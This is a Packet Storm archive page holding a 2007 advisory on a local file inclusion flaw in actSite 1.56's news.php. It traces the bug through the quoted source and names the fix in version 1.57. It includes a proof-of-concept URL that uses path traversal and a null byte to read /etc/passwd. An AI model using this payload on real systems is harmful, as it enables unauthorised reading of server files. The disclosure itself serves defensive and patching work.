what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

actsitenews-lfi.txt

actsitenews-lfi.txt
Posted Oct 2, 2007
Authored by DNX

actSite version 1.56 suffers from a local file inclusion vulnerability in news.php.

tags | exploit, local, php, file inclusion
SHA-256 | c51fcebfec9b333edfc4c2d1aa8ded952c826193226cd3f476e683aedd161fca

actsitenews-lfi.txt

Change Mirror Download
                         \#'#/

(-.-)

-----------------oOO---(_)---OOo-----------------

| actSite v1.56 (news.php) Local File Inclusion |

| coded by DNX |

-------------------------------------------------

[!] Discovered: DNX

[!] Vendor: http://www.actsite.de

[!] Detected: 02.09.2007

[!] Reported: 02.09.2007

[!] Remote: yes



[!] Background: actSite is a content management system based on PHP and MySQL



[!] Bug: in phpinc/news.php line 101



require PHP_INCLUDE_PATH."/inc/news/news_$_POST[do].php";



[!] PoC:

- http://[site]/[path]/phpinc/news.php?do=/../../../../../../../etc/passwd%00



[!] Description:

- So why we can inject code in a post variable per url? Let's do some research...

- In phpinc/news.php line 36

require_once('../config.php');



- Let's take a look in 'config.php' line 22

if(empty($BaseCfg['install_run'])) require_once($BaseCfg['BaseDir']."/phpinc/inc/csb.php");



- Ok, let's take a look in 'phpinc/inc/csb.php' line 18

if(getenv('REQUEST_METHOD') == "GET") {

foreach($_GET as $key => $val) {

$_POST[$key] =& $_GET[$key];

}

}



[!] Solution: Install security update to v1.57

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    35 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close